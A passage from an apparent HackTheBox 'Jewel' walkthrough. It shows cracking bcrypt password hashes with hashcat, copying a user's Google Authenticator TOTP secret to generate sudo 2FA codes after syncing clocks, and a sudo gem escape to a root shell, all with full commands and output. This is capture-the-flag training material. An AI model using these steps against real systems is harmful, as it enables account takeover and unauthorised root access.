    jennifer:$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
    
    

So here we see that we have another set of hashes for bill and jennifer: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → cat hashes.txt
    jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
    jennifer:$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
    
    bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
    bill:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
    

And from here we crack them with hashcat with the bcrypt format: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/jewel]
    → hashcat --example-hashes
    
    [...]
    
    MODE: 3200
    TYPE: bcrypt $2*$, Blowfish (Unix)
    HASH: $2a$05$MBCzKhG1KhezLh.0LRa0Kuw12nLJtpHy6DIaU.JAnqJUDYspHC.Ou
    PASS: hashcat
    
    [...]
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --username
    hashcat (v6.1.1) starting...
    
    * Device #1: WARNING! Kernel exec timeout is not disabled.
                 This may cause "CL_OUT_OF_RESOURCES" or related errors.
                 To disable the timeout, see: https://hashcat.net/q/timeoutpatch
    * Device #2: WARNING! Kernel exec timeout is not disabled.
                 This may cause "CL_OUT_OF_RESOURCES" or related errors.
                 To disable the timeout, see: https://hashcat.net/q/timeoutpatch
    CUDA API (CUDA 11.3)
    ====================
    * Device #1: NVIDIA GeForce GTX 1050, 1310/1999 MB, 5MCU
    
    OpenCL API (OpenCL 3.0 CUDA 11.3.55) - Platform #1 [NVIDIA Corporation]
    =======================================================================
    * Device #2: NVIDIA GeForce GTX 1050, skipped
    
    OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
    =============================================================================================================================
    * Device #3: pthread-Intel(R) Core(TM) i5-6600 CPU @ 3.30GHz, skipped
    
    Minimum password length supported by kernel: 0
    Maximum password length supported by kernel: 72
    
    Hashes: 4 digests; 4 unique digests, 4 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    Rules: 1
    
    Applicable optimizers applied:
    * Zero-Byte
    
    Watchdog: Temperature abort trigger set to 90c
    
    Host memory required for this attack: 80 MB
    
    Dictionary cache hit:
    * Filename..: /usr/share/wordlists/rockyou.txt
    * Passwords.: 14344385
    * Bytes.....: 139921507
    * Keyspace..: 14344385
    
    $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW:spongebob
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → hashcat -m 3200 hashes.txt --username --show
    bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW:spongebob
    
    

And here we seem to have cracked one of the hashes, with the password **spongebob** for the user **bill** , now the interesting thing here is that we can check if this is bill's password by running **sudo -l** : 
    
    
    bill@jewel:~$ sudo -l
    [sudo] password for bill:
    Verification code:
    Sorry about this, I know it's a bit silly.
    [sudo] password for bill:
    Verification code:
    You must cut down the mightiest tree in the forest... with... a herring!
    
    

So here we get something interesting, we get a **Verification code:** message waiting for our input. And after a bit of googling we see that this is basically 2FA for sudo. And if we take a look at bill's directory we see that there is a **.google_authenticator** file:
    
    
    bill@jewel:~$ ls -lash .google_authenticator
    4.0K -r-------- 1 bill bill 56 Aug 28  2020 .google_authenticator
    bill@jewel:~$ cat .google_authenticator
    2UQI3R52WFCLE6JTLDCSJYMJH4
    " WINDOW_SIZE 17
    " TOTP_AUTH
    

So in order to exploit this we're going to install **oathtool** locally: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → apt search oathtool
    Sorting... Done
    Full Text Search... Done
    oathtool/kali-rolling 2.6.6-3 amd64
      OATH Toolkit oathtool command line tool
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → apt install oathtool -y
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → oathtool -h
    Usage: oathtool [OPTION]... [KEY [OTP]]...
    Generate and validate OATH one-time passwords.  KEY and OTP is the string '-'
    to read from standard input, '@FILE' to read from indicated filename, or a hex
    encoded value (not recommended on multi-user systems).
    
      -h, --help                    Print help and exit
      -V, --version                 Print version and exit
          --hotp                    use event-based HOTP mode  (default=on)
          --totp[=MODE]             use time-variant TOTP mode (values "SHA1",
                                      "SHA256", or "SHA512")  (default=`SHA1')
      -b, --base32                  use base32 encoding of KEY instead of hex
                                      (default=off)
      -c, --counter=COUNTER         HOTP counter value
      -s, --time-step-size=DURATION TOTP time-step duration  (default=`30s')
      -S, --start-time=TIME         when to start counting time steps for TOTP
                                      (default=`1970-01-01 00:00:00 UTC')
      -N, --now=TIME                use this time as current time for TOTP
                                      (default=`now')
      -d, --digits=DIGITS           number of digits in one-time password
      -w, --window=WIDTH            number of additional OTPs to generate or
                                      validate against
      -v, --verbose                 explain what is being done  (default=off)
    
    Report bugs to: oath-toolkit-help@nongnu.org
    

So we copy the **.google_authenticator** file from the box to our local machine by doing a simple copy paste: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → vim google_auth
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → cat google_auth
    2UQI3R52WFCLE6JTLDCSJYMJH4
    " WINDOW_SIZE 17
    " TOTP_AUTH
    
    

And then from here we're going to use oathtool to get the key:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → oathtool -b --totp @google_auth
    998990
    
    [ 10.10.14.11/23 ] [ /dev/pts/22 ] [~/HTB/jewel]
    → oathtool -b --totp @google_auth
    998990
    
    

Now the hard part about this box was the fact that we need the exact same date and time from the box on our local machine. And that includes the timezone aswell. 
    
    
    [terminal 1]
    bill@jewel:~$ date
    Tue 29 Jun 17:32:33 BST 2021
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → date
    Tue 29 Jun 2021 06:24:25 PM CEST
    
    

So in order to keep track of the box's time we do the following: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/18 ] [~/HTB/jewel]
    → ssh bill@10.10.10.211 -i ~/.ssh/mainpc
    Linux jewel.htb 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
    
    The programs included with the Debian GNU/Linux system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
    permitted by applicable law.
    Last login: Tue Jun 29 17:11:10 2021 from 10.10.14.11
    bill@jewel:~$ watch -n 1 date
    
    

This will simply display the date+time every second, we let that run in another pane, and accordingly we change system time aswell: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → sudo date -s  "6/29/2021 17:37:10"
    [sudo] password for nothing:
    Tue 29 Jun 2021 05:37:10 PM CEST
    
    

Now be careful this is not enough! you need to set the timezone aswell: 
    
    
    [terminal 1]
    bill@jewel:~$ timedatectl
                   Local time: Tue 2021-06-29 17:39:46 BST
               Universal time: Tue 2021-06-29 16:39:46 UTC
                     RTC time: Tue 2021-06-29 16:39:46
                    Time zone: Europe/London (BST, +0100)
    System clock synchronized: no
                  NTP service: active
              RTC in local TZ: no
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → sudo timedatectl set-timezone Europe/London
    
    [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → date
    Tue 29 Jun 2021 05:42:02 PM BST
    
    [terminal 1]
    bill@jewel:~$ date
    Tue 29 Jun 17:42:02 BST 2021
    
    

Now that both systems have their timezones, dates, and time synced, we run oathtool: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → oathtool -b --totp @google_auth
    268760
    
    

And we use it to run **sudo -l** : 
    
    
    [terminal 1]
    bill@jewel:~$ sudo -l
    [sudo] password for bill: **spongebob**
    Verification code:
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~/HTB/jewel]
    → oathtool -b --totp @google_auth
    707638
    
    
    [terminal 1]
    Verification code: 707638
    Matching Defaults entries for bill on jewel:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
        insults
    
    User bill may run the following commands on jewel:
        (ALL : ALL) /usr/bin/gem
    
    

And once that's done we see that we have been able to successfully run sudo -l, and we see that we can run **/usr/bin/gem** as root without any password, so let's use this [gtfobin](https://gtfobins.github.io/gtfobins/gem/): 
    
    
    bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc
    [sudo] password for bill:
    Verification code:
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # cat /root/root.txt
    d0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And we managed to get root a root shell with the root flag! 

## **Conclusion**

Here we can see the progress graph :

![](img/62_graph.png)

